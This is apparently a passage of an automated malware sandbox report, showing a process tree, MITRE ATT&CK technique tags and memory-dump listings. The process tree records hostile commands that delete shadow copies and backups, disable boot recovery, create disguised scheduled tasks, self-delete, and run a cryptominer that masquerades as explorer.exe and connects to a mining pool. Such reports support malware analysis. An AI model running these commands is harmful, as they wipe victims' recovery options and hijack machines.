  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:9980

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:10184
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{7f45fa57-936d-0d40-af64-f876ec701d50}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:9300
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"
  2⤵
  PID:8664

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4016
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6968

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:7020

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:8044

C:\Users\Admin\AppData\Local\Temp\246D.exe
C:\Users\Admin\AppData\Local\Temp\246D.exe
1⤵
PID:9080

C:\Users\Admin\AppData\Local\Temp\29FC.exe
C:\Users\Admin\AppData\Local\Temp\29FC.exe
1⤵
PID:9812

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:9116

C:\Users\Admin\AppData\Local\Temp\45C3.exe
C:\Users\Admin\AppData\Local\Temp\45C3.exe
1⤵
PID:10124

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:3264

C:\Users\Admin\AppData\Local\Temp\4900.exe
C:\Users\Admin\AppData\Local\Temp\4900.exe
1⤵
- Executes dropped EXE
PID:4508
- C:\Windows\SysWOW64\notepad.exe
  notepad.exe
  2⤵
  PID:9872
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe" -start
  2⤵
  PID:9480
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe" -agent 0
    3⤵
    PID:7296
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
    3⤵
    PID:6180
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:7332
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10336
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
    3⤵
    PID:9992
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    PID:9964
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:9804
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
    3⤵
    PID:9772
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    PID:8696
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:2116
- - C:\Windows\SysWOW64\notepad.exe
    notepad.exe
    3⤵
    PID:10548

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6712

C:\Users\Admin\AppData\Local\Temp\64A7.exe
C:\Users\Admin\AppData\Local\Temp\64A7.exe
1⤵
PID:9660
- C:\Users\Admin\Documents\Update.exe
  "C:\Users\Admin\Documents\Update.exe"
  2⤵
  PID:6472
- - C:\Users\Admin\AppData\Local\Temp\Red1_.exe
    "C:\Users\Admin\AppData\Local\Temp\Red1_.exe"
    3⤵
    PID:9432
- - C:\Users\Admin\AppData\Local\Temp\Clip_.exe
    "C:\Users\Admin\AppData\Local\Temp\Clip_.exe"
    3⤵
    PID:2320
- - C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe"
    3⤵
    PID:5928
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit
      4⤵
      PID:10960
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:11068
  - - C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe
      "C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"
      4⤵
      PID:11088
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit
        5⤵
        
        PID:11128
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:9620
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:7072
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=antivirus.windowsdefenderautoupdater.me:3333 --user=4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQuiWzFUXCscKHeTzpD --pass=x --cpu-max-threads-hint=30 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=3 --cinit-idle-cpu=90 --nicehash --cinit-stealth
        5⤵
        
        PID:3604
- - C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe"
    3⤵
    PID:8420
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit
      4⤵
      PID:9448
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:10280
  - - C:\Users\Admin\AppData\Roaming\VideoDriver.exe
      "C:\Users\Admin\AppData\Roaming\VideoDriver.exe"
      4⤵
      PID:7684
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit
        5⤵
        
        PID:11180
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:1900
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        5⤵
        
        PID:10644
- - C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe
    "C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe"
    3⤵
    PID:9176
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\64A7.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\64A7.exe"
  2⤵
  PID:684
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 1 -w 100
    3⤵
    - Runs ping.exe
    PID:5792
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 1 -w 900
    3⤵
    - Runs ping.exe
    PID:5876

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:8744

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:9560

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6680

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:5216

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7444

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:9004

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1968

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:7304

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7604

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9532

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2176

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2936

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6408

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7920

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:3816

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2720

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9060

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9488

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10492

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:11072

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10940

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4244

C:\Users\Admin\AppData\Roaming\bbahuvh
C:\Users\Admin\AppData\Roaming\bbahuvh
1⤵
PID:8324

C:\Users\Admin\AppData\Roaming\tfahuvh
C:\Users\Admin\AppData\Roaming\tfahuvh
1⤵
PID:10944

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:4400

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7352

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9500

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6440

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7576

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:11068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/184-230-0x0000000001020000-0x0000000001021000-memory.dmp

Filesize
4KB

Download
memory/184-176-0x00000000008D0000-0x00000000008D1000-memory.dmp

Filesize
4KB

Download
memory/184-218-0x0000000001000000-0x000000000101E000-memory.dmp

Filesize
120KB

Download
memory/184-205-0x000000001B5C0000-0x000000001B5C2000-memory.dmp

Filesize
8KB

Download
memory/184-194-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

Filesize
4KB

Download
memory/748-190-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/748-232-0x0000000000950000-0x0000000000951000-memory.dmp

Filesize
4KB

Download
memory/748-211-0x0000000000D20000-0x0000000000D21000-memory.dmp

Filesize
4KB

Download
memory/748-235-0x0000000004CB0000-0x0000000004CB1000-memory.dmp

Filesize
4KB

Download
memory/848-370-0x0000000007552000-0x0000000007553000-memory.dmp

Filesize
4KB

Download
memory/848-376-0x0000000007550000-0x0000000007551000-memory.dmp

Filesize
4KB

Download
memory/848-372-0x0000000007553000-0x0000000007554000-memory.dmp

Filesize
4KB

Download
memory/848-351-0x0000000002D20000-0x0000000002D4F000-memory.dmp

Filesize
188KB

Download
memory/848-373-0x0000000000400000-0x0000000002CD0000-memory.dmp

Filesize
40.8MB

Download
memory/848-386-0x0000000007554000-0x0000000007556000-memory.dmp

Filesize
8KB

Download
memory/944-366-0x0000000002CD0000-0x0000000002E1A000-memory.dmp

Filesize
1.3MB

Download
memory/944-381-0x0000000000400000-0x0000000002CC7000-memory.dmp

Filesize
40.8MB

Download
memory/1556-256-0x00000000052C0000-0x00000000058C6000-memory.dmp

Filesize
6.0MB

Download
memory/1556-229-0x00000000052E0000-0x00000000052E1000-memory.dmp

Filesize
4KB

Download
memory/1556-233-0x0000000005410000-0x0000000005411000-memory.dmp

Filesize
4KB

Download
memory/1556-192-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

Filesize
4KB

Download
memory/1556-241-0x0000000005340000-0x0000000005341000-memory.dmp

Filesize
4KB

Download
memory/1556-224-0x00000000058D0000-0x00000000058D1000-memory.dmp

Filesize
4KB

Download
memory/1556-250-0x0000000005380000-0x0000000005381000-memory.dmp

Filesize
4KB

Download
memory/1580-257-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

Filesize
4KB

Download
memory/1580-251-0x00000000774C0000-0x000000007764E000-memory.dmp

Filesize
1.6MB

Download
memory/1580-290-0x0000000005900000-0x0000000005901000-memory.dmp

Filesize
4KB

Download
memory/2092-363-0x00000000001C0000-0x00000000001CA000-memory.dmp

Filesize
40KB

Download
memory/2200-364-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2236-387-0x0000000000400000-0x0000000002CDB000-memory.dmp

Filesize
40.9MB

Download
memory/2312-213-0x0000000005870000-0x0000000005871000-memory.dmp

Filesize
4KB

Download
memory/2312-204-0x0000000005670000-0x0000000005671000-memory.dmp

Filesize
4KB

Download
memory/2312-214-0x00000000015A0000-0x00000000015A1000-memory.dmp

Filesize
4KB

Download
memory/2312-234-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/2312-246-0x0000000005AF0000-0x0000000005B9C000-memory.dmp

Filesize
688KB

Download
memory/2312-179-0x0000000000D20000-0x0000000000D21000-memory.dmp

Filesize
4KB

Download
memory/2312-209-0x0000000005860000-0x0000000005861000-memory.dmp

Filesize
4KB

Download
memory/2312-208-0x0000000005D70000-0x0000000005D71000-memory.dmp

Filesize
4KB

Download
memory/2312-255-0x0000000005840000-0x0000000005851000-memory.dmp

Filesize
68KB

Download
memory/2312-237-0x0000000005970000-0x0000000005971000-memory.dmp

Filesize
4KB

Download
memory/2448-297-0x00000000051F0000-0x00000000051F1000-memory.dmp

Filesize
4KB

Download
memory/2448-242-0x00000000774C0000-0x000000007764E000-memory.dmp

Filesize
1.6MB

Download
memory/2448-258-0x0000000000F90000-0x0000000000F91000-memory.dmp

Filesize
4KB

Download
memory/2648-240-0x000001954E380000-0x000001954E4E1000-memory.dmp

Filesize
1.4MB

Download
memory/2648-239-0x000001954E130000-0x000001954E214000-memory.dmp

Filesize
912KB

Download
memory/2696-378-0x0000000005230000-0x0000000005B56000-memory.dmp

Filesize
9.1MB

Download
memory/2736-191-0x00000000004B0000-0x00000000004B1000-memory.dmp

Filesize
4KB

Download
memory/2736-238-0x0000000004F80000-0x0000000004F81000-memory.dmp

Filesize
4KB

Download
memory/2844-180-0x00007FF855FC0000-0x00007FF8560EC000-memory.dmp

Filesize
1.2MB

Download
memory/2844-355-0x0000000000F72000-0x0000000000F74000-memory.dmp

Filesize
8KB

Download
memory/2844-160-0x0000000000A00000-0x0000000000A01000-memory.dmp

Filesize
4KB

Download
memory/2844-187-0x0000000000F70000-0x0000000000F72000-memory.dmp

Filesize
8KB

Download
memory/2844-301-0x0000000000F30000-0x0000000000F4B000-memory.dmp

Filesize
108KB

Download
memory/3276-382-0x0000000000400000-0x0000000002D1A000-memory.dmp

Filesize
41.1MB

Download
memory/3276-367-0x0000000002E70000-0x0000000002F0D000-memory.dmp

Filesize
628KB

Download
memory/3480-262-0x0000000000D80000-0x0000000000D81000-memory.dmp

Filesize
4KB

Download
memory/3480-259-0x00000000774C0000-0x000000007764E000-memory.dmp

Filesize
1.6MB

Download
memory/3480-303-0x0000000005FB0000-0x0000000005FB1000-memory.dmp

Filesize
4KB

Download
memory/3660-374-0x0000000000400000-0x0000000002CDC000-memory.dmp

Filesize
40.9MB

Download
memory/3660-352-0x00000000048F0000-0x000000000493A000-memory.dmp

Filesize
296KB

Download
memory/3688-114-0x0000000004250000-0x000000000438F000-memory.dmp

Filesize
1.2MB

Download
memory/3784-341-0x0000000000400000-0x00000000023BA000-memory.dmp

Filesize
31.7MB

Download
memory/3784-320-0x00000000024D0000-0x000000000261A000-memory.dmp

Filesize
1.3MB

Download
memory/3980-353-0x00000000001C0000-0x00000000001C9000-memory.dmp

Filesize
36KB

Download
memory/3980-384-0x0000000000400000-0x0000000002CBB000-memory.dmp

Filesize
40.7MB

Download
memory/4080-294-0x0000000005D30000-0x0000000005D31000-memory.dmp

Filesize
4KB

Download
memory/4080-263-0x00000000774C0000-0x000000007764E000-memory.dmp

Filesize
1.6MB

Download
memory/4080-264-0x0000000000C00000-0x0000000000C01000-memory.dmp

Filesize
4KB

Download
memory/4120-332-0x00000000056C0000-0x0000000005CC6000-memory.dmp

Filesize
6.0MB

Download
memory/4120-295-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4232-202-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4364-300-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4364-342-0x0000000004E00000-0x00000000052FE000-memory.dmp

Filesize
5.0MB

Download
memory/4472-329-0x00000244C87F0000-0x00000244C885E000-memory.dmp

Filesize
440KB

Download
memory/4472-330-0x00000244C8BD0000-0x00000244C8C9F000-memory.dmp

Filesize
828KB

Download
memory/4508-231-0x0000000000030000-0x0000000000033000-memory.dmp

Filesize
12KB

Download
memory/4580-270-0x0000000005020000-0x0000000005021000-memory.dmp

Filesize
4KB

Download
memory/4580-245-0x0000000003920000-0x000000000395C000-memory.dmp

Filesize
240KB

Download
memory/4580-323-0x00000000050B0000-0x00000000050B1000-memory.dmp

Filesize
4KB

Download
memory/4580-316-0x00000000050A0000-0x00000000050A1000-memory.dmp

Filesize
4KB

Download
memory/4580-308-0x0000000005090000-0x0000000005091000-memory.dmp

Filesize
4KB

Download
memory/4580-266-0x0000000005010000-0x0000000005011000-memory.dmp

Filesize
4KB

Download
memory/4580-345-0x0000000005110000-0x0000000005111000-memory.dmp

Filesize
4KB

Download
memory/4580-344-0x0000000005100000-0x0000000005101000-memory.dmp

Filesize
4KB

Download
memory/4580-286-0x0000000005080000-0x0000000005081000-memory.dmp

Filesize
4KB

Download
memory/4580-337-0x00000000050E0000-0x00000000050E1000-memory.dmp

Filesize
4KB

Download
memory/4580-274-0x0000000005050000-0x0000000005051000-memory.dmp

Filesize
4KB

Download
memory/4580-272-0x0000000005030000-0x0000000005031000-memory.dmp

Filesize
4KB

Download
memory/4580-248-0x0000000005000000-0x0000000005001000-memory.dmp

Filesize
4KB

Download
memory/4580-273-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/4580-277-0x0000000005060000-0x0000000005061000-memory.dmp

Filesize
4KB

Download
memory/4580-283-0x0000000005070000-0x0000000005071000-memory.dmp

Filesize
4KB

Download
memory/4580-338-0x00000000050F0000-0x00000000050F1000-memory.dmp

Filesize
4KB

Download
memory/4580-247-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4580-335-0x00000000050D0000-0x00000000050D1000-memory.dmp

Filesize
4KB

Download
memory/4580-327-0x00000000050C0000-0x00000000050C1000-memory.dmp

Filesize
4KB

Download